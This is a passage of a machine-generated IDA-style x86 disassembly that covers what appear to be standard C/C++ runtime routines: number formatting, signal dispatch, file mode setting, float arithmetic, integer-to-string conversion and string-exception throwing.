		jnz	short loc_425BBD
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_425BAE
; ---------------------------------------------------------------------------


loc_425BBD:				; CODE XREF: sub_425973+242j
		cmp	eax, ecx
		jnb	short loc_425BC5


loc_425BC1:				; CODE XREF: sub_425973+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_425BC5:				; CODE XREF: sub_425973+24Cj
		inc	byte ptr [eax]


loc_425BC7:				; CODE XREF: sub_425973+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 28A0000h
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


